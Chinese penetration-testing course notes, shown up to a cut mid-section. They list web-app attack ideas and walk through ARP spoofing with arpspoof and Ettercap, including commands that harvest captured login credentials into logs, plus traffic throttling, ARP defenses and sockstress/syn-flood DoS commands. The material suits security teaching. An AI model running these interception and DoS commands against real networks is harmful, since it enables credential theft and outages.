  • XSS(有框的地方就可以尝试插入XSS)
登录
  • 短信轰炸、验证码安全问题、密码爆破、邮箱轰炸
  • SQL注入
  • 撞库
  • 抓包把password字段修改为空值发送
  • 认证凭证替换,比如返回的数据包中包含账号,修改账号就能登录到其他账号
  • cookie仿制
  • 修改返回包的相关数据,可能会登录到其他的用户
找回密码
  • 短信邮箱轰炸,短信邮箱劫持

  • 重置任意用户账户密码,验证码收集商户未统一验证

  • 直接跳过验证步骤

  • 修改充值账户

  • 支付绕过

  • 抽奖活动

  • 刷奖品,积分

会员系统:
  • 修改个人信息上传,上传带弹窗的html
  • 如遇上上传xlsx,docx,可能存在XXE,上传恶意的文档盲测
  • 图片上传也可能遇到imagereagick命令执行,上传恶意图片
  • 视频上传如果使用ffmpeg<3.2.4(视频按帧分割成图片),上传恶意avi盲测ssrf
  • 用户横向越权访问,遍历,导致用户信息泄露
  • SQL注入,个人简历存储XSS个人信息注册的名称也可以插入XSS
传输过程、评论
  • 铭文传输账户密码
  • 修改信息处无session/token导致csrf
  • POST/COOKIE注入
水平越权、数据泄露,任意用户密码重置
  • 主要登陆后还是修改参数,主要找到多个接口不断测试
  • 关注网页源代码,有时候会有表单,但被bidden(隐藏标签)给隐藏起来了,可以修改返回包然后尝试获取数据检测
  • 多个账号,主要分析请求参数
  • 再找回密码处,填写数据包抓包查看返回信息,有可能存在敏感数据返回删除修改cookie,重放数据包
  • 目前大部分都是修改密码处参数修改
  • 有些时前端验证
登录绕过、水平越权、垂直越权
  • 部分网站的身份验证放在了前端,因此只需要将response包中相关字段进行修改,比如0改1,false改成true,就可以登录任意用户账号
  • 遍历ID-在一些请求中,GET和POST中有明显的ID数字参数(手机号,员工号、账单号、银行卡号、订单号等等)
  • ID替换如果程序对用户标识进行了hash或者加密,而无法破解用的什么方式的话,就无法通过遍历ID来获取其他用户的信息了,此时可以尝试注册两个账号,通过替换两个ID加密后的值,判断程序是否对权限进行了验证,如果没有,也会存在越权问题
  • 观察cookie中的session字段,可能某些字段或者参数代表身份,尝试修改

12、密码暴力猜解与防御

暴力破解防御

  1. sleep
  2. token
  3. 限制尝试次数,锁定账户

二次验证

行为识别

个人用户安全建议

  1. 使用复杂密码
  2. 不同网站使用不同密码
  3. 定期修改密码
  4. 防止被钓鱼

wfuzz

  1. 猜参数
  2. 爆破密码
  3. 找出网站过滤的参数,比如SQL注入和XSS
  4. 目录扫描
  5. 压力测试

13、burpsuite

target与http history的区别

  1. http history按时间顺序记录
  2. target按主机或者域名分类记录

target模块的作用

  1. 把握网站的整体情况
  2. 都一次工作的域进行分析
  3. 分析网站存在的攻击面

供给面

对一个软件系统可以采取的攻击方法集合,一个软件的攻击面越大安全风险就越大

包括:字段、协议、接口、服务、硬件的攻击点

如何算同一个域

协议、域名、端口必须相同

目录、文件、参数可以不同

target使用场景

  1. 限定sitemap和http history记录哪些域的内容
  2. 限定spider抓取哪些域的内容
  3. 限定scanner扫描哪些域的安全漏洞

站点地图记录类型

  1. 自动(爬行)
  2. 手动(浏览器访问)

refer字段

作用:告诉服务器当前请求是从哪个页面链接过来的

应用场景:

  1. 来源统计
  2. 防盗链

主动扫描

方式:爬取所有链接,检测漏洞

特点:发送大量请求

使用场合:卡法、测试环境

针对漏洞:

客户端的漏洞:如XSS,HTTP头注入,操作重定向

服务端的漏洞:如SQL注入、命令行注入、文件遍历

被动扫描

方式:只检测经过bp代理服务器的地址,不爬取

特点:发送有限请求

使用场合:生产环境

针对漏洞:

提交的密码为未加密的明文

不安全的cookie的属性,例如确实httponly和安全标志

cookie的范围缺失

跨域脚本包含和站点引用泄露

表单值自动填充,尤其是密码

SSL保护的内容缓存

目录列表

提交密码后应答延迟

session令牌的不安全传输

敏感信息泄露,例如内部IP地址、电子邮件地址,堆枝跟踪等信息泄露

不安全的viewstate的配置

错误或不规范的Content-Type指令

14、ARP

ARP断网攻击

1.课前准备

kali 作为ARP攻击机,192.168.110.26 MAC地址:00:0c:29:fc:66:46

win10 作为被攻击方,192.168.110.12 MAC地址:1c:69:7a:a4:cf:92

网关(路由器),192.168.110.1 MAC地址:e4:3a:6e:35:98:00

需要注意的时,两台主机需要在同一个局域网,并且网络通畅。

ping www.mashibing.com
2.arp断网攻击原理

他的原理是:向目标主机不断的发送ARP报文,然后将其报文中的网关Mac地址设置成为攻击机的主机MAC地址,
然后目标主机想要访问网络发送数据包时,都会发送到攻击机,然后攻击机只需要做一个丢弃数据包的
命令,就可以断掉目标主机的网络了。

3.arpspoof介绍:

arpspoof [spuːf] 是一个好用的ARP欺骗工具,攻击者通过毒化受害者ARP缓存,将网关MAC替换为攻击者MAC,然后攻击者可截获受害者发送和收到的数据包,从而获取受害者账户、密码等相关敏感信息。Kali linux中自带了该工具。

命令使用讲解

arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
-i:指定网卡
-c:攻击机的IP
-t 目标机器的IP
-r:网关IP
4.具体攻击步骤:

1.首先确保两台机器在同一局域网络下,并且可以互相通讯。

​ 1.1查看kali的ip:

ip a

​ 1.2 查看windows的ip:

ipconfig /all

​ 1.3 windows ping kali:

ping 192.168.110.26

​ 1.4 win10 查看arp表,记录网关的信息

arp -a |findstr 192.168.110.1

2.kali进行断网攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12
-i:指定网卡
-r:指定网关ip
-t:指定靶机ip

3.win10 查看网络连接 和 kali 的网络链接

ping www.mashibing.com

4.win10查看此时的arp表

arp -a 
或者
arp -a |findstr 192.168.110.1

5.结束断网攻击

ctrl+C

6.win10重新查看网络状态

ping www.mashibing.com

7.win10重新查看arp表

arp -a |findstr 192.168.110.1
5.ARP断网攻击原理深入分析

**1.ARP攻击断网的过程 **

0:c:29:fc:66:46 1c:69:7a:a4:cf:92 0806 42: arp reply 192.168.110.1 is-at 0:c:29:fc:66:46
0:c:29:fc:66:46 e4:3a:6e:35:98:0 0806 42: arp reply 192.168.110.12 is-at 0:c:29:fc:66:46
ARP攻击机器 不停的在告诉 192.168.110.1(网关)  192.168.110.12 的mac地址是 00:0c:29:fc:66:46
ARP攻击机器 不停的在告诉 192.168.110.12(靶机) 192.168.110.1 的mac地址是 00:0c:29:fc:66:46

Ctrl+C停止攻击后
0:c:29:fc:66:46 1c:69:7a:a4:cf:92 0806 42: arp reply 192.168.110.1 is-at e4:3a:6e:35:98:0
0:c:29:fc:66:46 e4:3a:6e:35:98:0 0806 42: arp reply 192.168.110.12 is-at 1c:69:7a:a4:cf:92
ARP攻击机器 重新告诉 192.168.110.12(靶机) 192.168.110.1 的mac地址是 e4:3a:6e:35:98:0
ARP攻击机器 重新告诉 192.168.110.1(网关)  192.168.110.12 的mac地址是 1c:69:7a:a4:cf:92

2.ARP断网原理图:

在这里插入图片描述

ARP攻击-流量分析

1.课前准备

1.kali作为攻击机

2.win10作为靶机

2.kali数据包转发

出于安全考虑,Linux系统默认是禁止数据包转发的。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。我们需要手动开启转发功能。

1.如何开启通信转发?

kali里有个ip_forward 配置文件

1.默认是0 禁止端口转发

2.将其设置成1 开启端口转发

2.开启步骤

1.查看当前是否开启了端口转发

cat /proc/sys/net/ipv4/ip_forward 

2.开启通信转发的命令

echo 1 >> /proc/sys/net/ipv4/ip_forward

3.使用arpspoof发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11

4.win10验证是否转发成功

访问:https://www.mashibing.com/
3.dsniff工具

1.工具介绍

Dsniff是一个基于unix系统网络嗅探工具,工具集包含两个我们需要的两个工具包,arpspoof 和urlsnarf。

2.安装方法

apt-get install dsniff

3.urlsnarf工具介绍

urlsnarf -h
urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

-n 表示不反查主机名
-i interface 网卡接口名
-p pattern 表示对过滤的内容使用的正则表达式
-v表示取相反,即是不匹配;expression 是过滤语法,和tcpdump的相同,请参考tcpdump。
4.url流量分析

1.概念

URL流量嗅探操作非常类似于中间人攻击,通过目标主机将路由流量注入到因特网。该过程将通过ARP注入实现攻击。url嗅探能够实时跟踪电脑中的数据流量信息,并且分析出它的类型和去向。从而获得你上网信息。

2.攻击流程

1.开启流量转发

echo 1 >> /proc/sys/net/ipv4/ip_forward

2.开启ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11

3.捕获目标计算机的url

urlsnarf -i eth0

4.靶机上网,访问网站

1.http://www.kangda.cn/#/user/login?redirect=http%3A%2F%2Fwww.kangda.cn%2F%23%2F
2.http://blog.tianya.cn/

5.kali分析用户请求

ARP-WireShark截获用户数据

1.WireShark工具介绍

wireshark的官方下载网站: http://www.wireshark.org/

wireshark是非常流行的网络封包分析软件,功能十分强大。可以截取各种网络封包,显示网络封包的详细信息。

wireshark是开源软件,可以放心使用。 可以运行在Windows,linux和Mac OS上。

2.ARP攻击截获密码的步骤

1.开启数据包转发

echo 1 >> /proc/sys/net/ipv4/ip_forward

2.开启ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11

3.启动wireshark

wireshark

4.输入过滤条件

(ip.src==192.168.110.11 or ip.dst==192.168.110.11) and tcp.port==80 and http

5.靶机登录后台系统

http://mng.517628.com/login.php
http://vmims.eguagua.cn/#/Login

6.wireshark寻找用户的登录信息

在这里插入图片描述

在这里插入图片描述

3.WireShark 过滤命令讲解

1.过滤源ip,目的ip

​ 在wireshark的过滤规则框Filter中输入过滤条件。

​ 如查找目的地址为192.168.110.11的包

ip.dst==192.168.110.11

​ 查找源地址为1.1.1.1的包

ip.src==1.1.1.1

2.端口过滤

2.1把源端口和目的端口为80的都过滤出来

tcp.port==80

2.2只过滤目的端口为80的

tcp.dstport==80

2.3只过滤源端口为80的包

tcp.srcport==80

3.协议过滤

直接在Filter框中直接输入协议名即可滤

http
tcp
ssh

4.http模式过滤

4.1过滤get包

http.request.method=="GET"

4.2过滤post包

http.request.method=="POST"

5.过滤多种条件

用and连接,如过滤ip为192.168.110.11并且为http协议的

ip.src==192.168.110.11 and http

ARP-Ettercap劫持用户流量

一.ettercap 工具介绍

项目官网:http://ettercap.github.io/ettercap/index.html

EtterCap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明文数据通讯的安全性,及时采取措施,避免敏感的用户名/密码等数据以明文的方式进行传输。

ettercap几乎是每个渗透测试人员必备的工具之一。

二.ARP截获用户信息攻击步骤
1.启动ettercap
ettercap -G
2.点击右上角的对勾开始扫描

在这里插入图片描述

3.点击左上角查看主机列表

在这里插入图片描述

4.选择网关 点击底部的 Add to Target 1

在这里插入图片描述

5.选择攻击靶机加入到target2

在这里插入图片描述

6.点击右上角攻击菜单,选择ARP攻击

在这里插入图片描述

7.点击ok发起攻击

在这里插入图片描述

8.查看此时靶机的arp列表
arp -a|findstr 192.168.110.1
9.查看kali的mac地址
ip a
10.靶机登录网站
http://www.kangda.cn/#/user/login?redirect=http%3A%2F%2Fwww.kangda.cn%2F%23%2F
http://vmims.eguagua.cn/#/Login
11.截获用户流量,获取账号密码

在这里插入图片描述

12.停止攻击

在这里插入图片描述

三.Ettercap 软件功能介绍
1.启动界面

在这里插入图片描述

Sniffing at startup :开启嗅探模式

Primary interface :选择网卡

Bridged sniffing :是否开启桥接模式

Bridged interface :桥接模式下的网卡

配置完成后,我们点上方的✔即可完成配置。

在这里插入图片描述

2.中间人攻击菜单

在这里插入图片描述

ARP poisoning :ARP攻击

DNP poisoning :DNP攻击

ICMP redirect :icmp重定向

Port stealing :端口欺骗

DHCP spoofing :DHCP欺骗

stop MITM :停止攻击

SSL intercept :ssl嗅探

3.更多选项

在这里插入图片描述

Targets:攻击列表

Hosts:显示主机列表

Filters:载入二进制脚本

Plugins:插件

Logging:日志

4.hosts选项

在这里插入图片描述

Hosts list:扫描到的主机列表

Enable ipv6 scan:扫描ipv6地址

Scan for hosts:扫描主机列表

load hosts form file:从外部文件载入主机列表

Save hosts to file:保存主机列表到文件

5.Targets选项

在这里插入图片描述

Current targets:正在攻击的列表

Select targets::选择攻击列表

Portocol:攻击协议

Reverse matching:匹配规则

Wipe targets:擦除攻击

6.View选项

在这里插入图片描述

Connections:连接信息

Profiles:IP地址信息

Statistics:统计信息

四.命令行运行Ettercap
1.运行命令讲解
ettercap –i –eth0 –Tq –M arp:remote/ip(host)//net gatemask/ >>b.txt
T:指的是text文本模式
q:指的是安静模式执行这个命令
i:后面跟的是连接局域网的网卡
M:后面跟的是指定使用arp的方式
>>:输出文件
2.攻击命令
ettercap -T -i eth0  -M arp:remote /192.168.110.1// /192.168.110.11// 
ettercap -Tq -l a.log -i eth0  -M arp:remote /192.168.110.1// /192.168.110.11// 

ettercap -Tq -i eth0  -M arp:remote /192.168.110.1// /192.168.110.11// >>b.txt
3.靶机登录后台网站
http://www.kangda.cn/#/user/login?redirect=http%3A%2F%2Fwww.kangda.cn%2F%23%2F
http://vmims.eguagua.cn/#/Login
4.查看攻击界面日志
tail -f b.txt

停止查看:
CTRL+C
5.过滤无用信息,只查看用户的登录信息
tail -f b.txt | grep "USER" 
或者
tail -f b.txt | grep "CONTENT" 
或者
tail -f b.txt | egrep "USER|CONTENT"
6.停止ARP攻击
CTRL+C
7.分析日志
cat b.txt
8.筛选用户的登录信息
cat b.txt | grep "USER" 
或者
cat b.txt | grep "CONTENT" 
或者
cat b.txt | egrep "USER|CONTENT"
9.收集保存用户信息文件
cat -n  b.txt | egrep "USER|CONTENT" >arp.log
-n:添加行号
egrep:过滤规则
>:输出文件

ARP限制网速攻击

大家没想到吧,ARP还能限制对方网速。当kali欺骗了网关和受害者的时候,受害者访问网络就需要经过kali的网卡,那我们限制kali网卡的速度或者转发的速度就可以限制对方的网速。这里可以使用的工具有tc、iptables、WonderShaper等等,我们以tc为例,tc是通过限制网卡的速度来限制对方的,是一种杀敌一千自损八百的手段。

1.TC工具介绍

在Linux中,流量控制都是通过TC这个工具来完成的。通常, 要对网卡进行流量控制的配置,需要进行如下的步骤:

◆ 为网卡配置一个队列;

◆ 在该队列上建立分类;

◆ 根据需要建立子队列和子分类;

◆ 为每个分类建立过滤器。

需要注意的是, 在TC 中使用下列的缩写表示相应的网络延迟:

时间的计量单位:

s、sec或者secs 秒

ms、msec或者msecs 毫秒

us、usec、usecs或者一个无单位数字 微秒

QDisc(排队规则) [qdɪsk]是queueing discipline [ˈkjuːɪŋ] [ˈdɪsəplɪn] 的简写,它是理解流量控制(traffic control)的基础。无论何时,内核如果需要通过某个网络接口发送数据包,它都需要按照为这个接口配置的qdisc(排队规则)把数据包加入队列。然后,内核会尽可能多地从qdisc里面取出数据包,把它们交给网络适配器驱动模块。

2.TC命令介绍
1.限制网速200ms延时
tc qdisc add dev eth0 root netem delay 200ms
参数:
qdisc:排队规则
add:添加
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间
2.取消限制网速200ms延时
tc qdisc del dev eth0 root netem delay 200ms
参数:
qdisc:排队规则
del:删除
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间
3.修改网络延时
tc qdisc change  dev eth0 root netem delay 300ms
参数:
qdisc:排队规则
change:修改
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间
3.ARP攻击限制网速的具体步骤
1.开启端口转发
cat /proc/sys/net/ipv4/ip_forward 	        #值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward     #开启流量转发
2.开启ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11
3.查看靶机当前的网速
https://www.speedtest.cn/
4.开启网络延迟限速
tc qdisc add dev eth0 root netem delay 500ms
5.查看限速规则
tc qdisc show
6.查看靶机当前的网速
https://www.speedtest.cn/
7.修改网速限制
tc qdisc change dev eth0 root netem delay 800ms
8.查看限速规则
tc qdisc show
9.查看靶机当前的网速
https://www.speedtest.cn/
10.取消限速
tc qdisc del dev eth0 root netem delay 800ms
11.查看限速规则
tc qdisc show
12.查看靶机当前的网速

https://www.speedtest.cn/

4.限速原理讲解

在这里插入图片描述

ARP攻击防御

1.ARP防御方法简介

ARP攻击的原理是向网关和靶机不停的发送ARP欺骗报文,我们的计算机或者网关就会实时更新ARP缓存表,从而出现安全漏洞。假如对这种欺骗报文的处理是不相信或者不接受的话,就不会出现问题了。处理这种的欺骗的行为我们没办法提前在攻击端进行操作,因为敌人躲在暗处,而我们处明处。

针对这种情况我们可以从以下两方面入手:

1.让我们的电脑不接收欺骗包

2.即使接收到欺骗的包也不要相信

目前网络安全行业现有的ARP防御方案,基本都是基于上面两个方法实现的。

2.windows防御

1.安装arp的防火墙

安装360安全卫士 地址:https://www.360.cn/

2.选择网络安全

在这里插入图片描述

3.选择流量防火墙

在这里插入图片描述

4.选择局域网防护开启防火墙

在这里插入图片描述

5.开启ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24

6.查看防护效果

7.查询本地arp表

arp -a

8.关闭防火墙(退出360安全卫士)

9.查看当前arp表

arp -a

10.停止攻击

ctrl+c
3.设置静态mac地址
1.临时绑定,重启后失去保护效果

1.ARP表MAC地址绑定状态

ARP表MAC地址绑定类型有动态和静态两种。

动态:有时效限制,会实时更新,不安全

静态:长久生效,不会随时间或者通知而变化,安全。

我们来看一下电脑上的ARP表。

arp -a

大部分都是动态的,动态的MAC地址他有生命周期,一定时间之后就会被替换,另外别人通知我更新的时候,也会被直接替换,也就是说无论是被动获取时发现变化了,还是主动被告知时已经变动了,arp列表都会进行更新。如果是攻击方告诉了靶机,他也会相信,从而导致被攻击。我们解决的方法就是把动态的MAC地址变成静态的。那么该如何绑定呢?

2.绑定步骤

1.Win10以管理员身份运行CMD命令提示符

2.查询网关的ip和mac地址

arp -a |findstr 192.168.110.1
网关的IP:192.168.110.1
网关的MAC地址:e4-3a-6e-35-98-00

3.查询本机的网卡

ipconfig

在这里插入图片描述

4.查询本地连接的网卡ID号

netsh i i show in

#netsh i i show in  是netsh  interface ipv4 show interfaces 的缩写

从图中可以找到,Idx就是网卡的ID,以 Ethernet0也就是我本机的网卡,id=6

在这里插入图片描述

5.临时绑定mac地址,重启失效

netsh -c i i add neighbors  6 192.168.110.1 e4-3a-6e-35-98-00 store=active

-c Context 指定上下文
i: interface 更改到 `netsh interface' 上下文。
i:ipv4
add: 在项目列表上添加一个配置项目
neighbors: 添加邻居地址
store=active:设置为临时绑定
查询帮助命令:netsh -c /?

在这里插入图片描述

6.发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24

7.查询靶机ARP表

arp -a

8.停止ARP攻击

ctrl+c

9.重启靶机,查看arp表

arp -a

10.重新发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12

11.查看靶机arp

arp -a

12.停止攻击

ctrl+c
2.永久绑定,重启后不失效

1.绑定命令

netsh -c i i add neighbors  6 192.168.110.1 e4-3a-6e-35-98-00 store=persistent
store=persistent:永久绑定

2.查看ARP表

arp -a

3.发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24

4.查看arp缓存表

arp -a

5.重启电脑,查看ARP表

arp -a

6.删除静态配置

arp -d ip #不推荐使用,下次设置时,出现错误
netsh -c i i delete ne 6  #推荐使用

7.查看靶机arp表

arp -a

8.停止攻击

ctrl+c
4.linux防御
1.查询arp表命令
arp -a
ip n 
ip neigh
 
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 STALE #不新鲜的
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 REACHABLE #可到达的
2.临时添加静态地址,重启后失效
arp -s 192.168.110.1 e4:3a:6e:35:98:00
3.查询arp表
ip n
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 PERMANENT #永久的
4.发起ARP攻击
ettercap -T -i eth0  -M arp:remote /192.168.110.1// /192.168.110.26// 
5.查看靶机arp表
 ip n 
6.重启靶机
reboot
7.查看靶机arp表
ip n
8.将其添加到 rc.local里边 开启自动执行
vi  /etc/rc.local
chmod +x /etc/rc.d/rc.local
添加:
arp -s 192.168.110.1 e4:3a:6e:35:98:00
wq保存
9.重启centos7
reboot
10.查看arp表
ip n
5.路由/网关防护设置
1.打开路由器配置网站

​ 一般是http://网关ip

2.点击更多功能

在这里插入图片描述

3.选择网络设置–局域网

在这里插入图片描述

4.添加静态ip地址绑定列表

在这里插入图片描述

5.手动添加绑定

在这里插入图片描述

5.WEB服务防御ARP攻击

web服务防御明文传输泄露用户信息的手段:使用加密协议:https

1.什么是HTTP

超文本传输协议,是一个基于请求与响应,无状态的,应用层的协议,常基于TCP/IP协议传输数据,互联网上应用最为广泛的一种网络协议,所有的WWW文件都必须遵守这个标准。设计HTTP的初衷是为了提供一种发布和接收HTML页面的方法。使用明文传输,容易被劫持。

2.什么是HTTPS

《图解HTTP》这本书中曾提过HTTPS是身披SSL外壳的HTTP。HTTPS是一种通过计算机网络进行安全通信的传输协议,经由HTTP进行通信,利用SSL/TLS建立全信道,加密数据包。HTTPS使用的主要目的是提供对网站服务器的身份认证,同时保护交换数据的隐私与完整性。使用加密传输,不容易被拦截,更加安全。

TLS是传输层加密协议,前身是SSL协议,由网景公司1995年发布,有时候两者不区分。

3.HTTPS加密通讯工作原理

在这里插入图片描述

15、拒绝服务与分布式拒绝服务-DOS/DDOS

一、 拒绝服务攻击概念介绍

1、 拒绝服务攻击概念说明
DoS拒绝服务攻击概念介绍

利用程序漏洞或一对一资源耗尽的方法对服务端发起的攻击。

DDoS分布式拒绝服务攻击概念介绍

一对一的攻击方式完全拼各自的资源,攻击效果比较差;

多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型。

2、 拒绝服务攻击发展历史
从前:

欠缺技术能力的无赖,ping死你(最难缠的无赖)

现在:

最强大最危险的攻击,攻击方式众多(专业化的要求勒索);亲身经历:电商网站被勒索、bill gates僵尸程序。贩卖和租用肉鸡已经成为黑产中重要的一部分,最终的办法就是拼资源,投资抗DDoS,或者乖乖交保护费。

提示信息:

匿名者(anonymous):世界最著名的黑客组织,组织结构宽松,人员来自世界各地。以DDoS攻击著称的无政府主义者-亦正亦邪,攻击恐怖组织也攻击政府宗教机构,近些年来涉足政治斗争,成员露面时均带有Guy Fawkes面具,最早的核心成员来自4chan图片社区,惯常雇佣外围黑客成员发送DDoS攻击。

3、 拒绝服务攻击分类介绍
DoS网络:

基于巨量的Flood耗尽目标网络带宽资源,如:ICMP Flood、UDP Flood

DoS协议:

攻击协议漏洞发起的拒绝服务攻击,如:syn flood、ping of death、ARP、DNS、802.11、SSL

DoS应用:

针对应用软件和操作系统漏洞发起的拒绝服务攻击,大量频繁访问消耗系统资源严重的应用(CC)。通常表现为操作系统运行正常,网络流量不大,但服务停止响应,可以是一击毙命的,也可以是耗尽目标资源的。

以上分类并不严谨,不必太过于执着于此

在这里插入图片描述

二、 拒绝服务攻击协议介绍

1、 攻击协议原理介绍说明_Syn-Flood

SYN Flood (SYN洪水) 是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

说到原理,还得从TCP如何建立连接(Connection)讲起。通信的双方最少得经过3次成功的信息交换才能进入连接全开状态(Full-Open),行话叫建立TCP连接的3次握手(TCP three-way handshake)。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

在这里插入图片描述

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

(1) 向A确认已做好接收数据的准备

(2) 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

在这里插入图片描述

做好人是要付出代价的,B为帮助A能顺利连接,需要分配内核资源维护半开连接,那么当B面临海量的大忽悠A时,如上图所示,SYN Flood攻击就形成了。攻击方A可以控制肉鸡向B发送大量SYN消息但不响应ACK消息,或者干脆伪造SYN消息中的Source IP,使B反馈的SYN-ACK消息石沉大海,导致B被大量注定不能完成的半开连接占据,直到资源耗尽,停止响应正常的连接请求。

利用脚本实现syn_flood攻击:

攻击脚本:syn_flood.py

环境准备:

安装Scapy到Debian, Ubuntu或Linux Mint 或kali
apt-get install python-scapy

安装Scapy到Fedora或CentOS/RHEL
yum install scapy
说明:在CentOS/RHEL上,你首先需要启用EPEL仓库

防火墙需要进行配置,阻止RST包发出
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.21.117 -j DROP
说明:发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。

攻击命令:

python syn-flodd.py 192.168.110.14 3389 20
利用软件实现syn_flood攻击:
攻击软件:FastSend

攻击效果抓包截图:

在这里插入图片描述

在这里插入图片描述

2、 攻击协议原理介绍说明_socktress

2008年有Jack C.Louis发现,针对TCP服务的拒绝服务攻击:

消耗被攻击目标系统资源,与攻击目标建立大量socket链接

完成三次握手最后的ACK包window大小为0(客户端不接收数据),攻击者资源消耗小(CPU 内存 带宽)

异步攻击,单机可拒绝服务高配资源服务器

window窗,实现的TCP流控

利用脚本实现socktress攻击:

攻击脚本:socktress

环境准备:
防火墙需要进行配置,阻止RST包发出
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.21.117 -j DROP
说明:发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。

攻击命令:HTTP协议访问

C攻击脚本

./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -d 100000
./sockstress 1.1.1.1:80 eth0 -p payloads/http
说明:-d是微秒内指定,默认为1000000 改成10之后并发带度更快

攻击效果抓包截图:

在这里插入图片描述

攻击防护措施方法:

直到今天sockstress攻击仍然是一种很有效的DoS攻击方式,甶于建立完整的TCP三步握手,因此使用syn cookie防御无效,根本的防御方法是采用白名单(不实际)

折中对策:限制单位时间内每IP建的TCP连接数

封杀每30秒与80端口建立连接超过10个的IP地址

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP 
3、 攻击协议原理介绍说明_DNS方法攻击

产生大流量的攻击方法 DDos

单机的带宽优势

巨大单机数量形成的流量汇聚

利用协议特性实现放大效果的流量

DNS协议放大效果

查询请求流量小,但响应流量可能非常巨大

dig ANY hp.com @202.106.0.20 (流量放大约8倍)

攻击原理

伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询

DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS

4、 攻击协议原理介绍说明_SNMP放大攻击

简单网络管理协议(Simple Network Management Protocol

服务端UDP 161 / 162

管理站(manager /客户端)、被管理设备(agent /服务端)

管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象

每一个节点都有一个对象标识符(OID)来唯一的标识

IETF定义标准的MIB库/厂家自定义MIB库

攻击原理

请求流量小,查询结果返回流量大

结合伪造源地址实现攻击

5、攻击协议原理介绍说明_NTP放大攻击

**网络时间协议(**Network Time Protocol)

保证网络设备时间同步

电子设备互相干扰导致时钟差异越来越大

影响应用正常运行、日志审计不可信

服务端 UDP 123

攻击原理

NTP服务提供monlist (MON_GETLIST)查询功能,监控NTP服务器的状况

客户端查询时,NTP服务器返回最后同步时间的600个客户端IP,每6个IP—个数据包,最多100个数据包(放大约100倍)

6、 攻击协议原理介绍说明_CC攻击
实现DDOS和伪装攻击:CC(Challenge Collapsar)

CC主要是用来攻击页面的

可以增加数据库并发访问压力

服务端被访问频率越高,占用的系统资源越高

攻击原理:

攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃

就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量CPU时间)的页面

造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止

7、 攻击协议原理介绍说明_应用层DoS

应用服务漏洞

服务代码存在漏洞,遇异常提交数据时程序崩溃

应用处理大量并发请求能力有限,被拒绝的是应用或OS

缓冲区溢出漏洞

向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存

影响:远程代码执行、DoS

利用模糊测试方法发现缓冲区溢出漏洞

CesarFTP 0.99 服务漏洞

ftp_fuzz.py # MKD/RMD

MS12-020远程桌面协议DoS漏洞

功防演示过程:针对PHP版本低漏洞发起攻击

开启PHP网站服务:

在这里插入图片描述

利用代码向网站发起攻击:

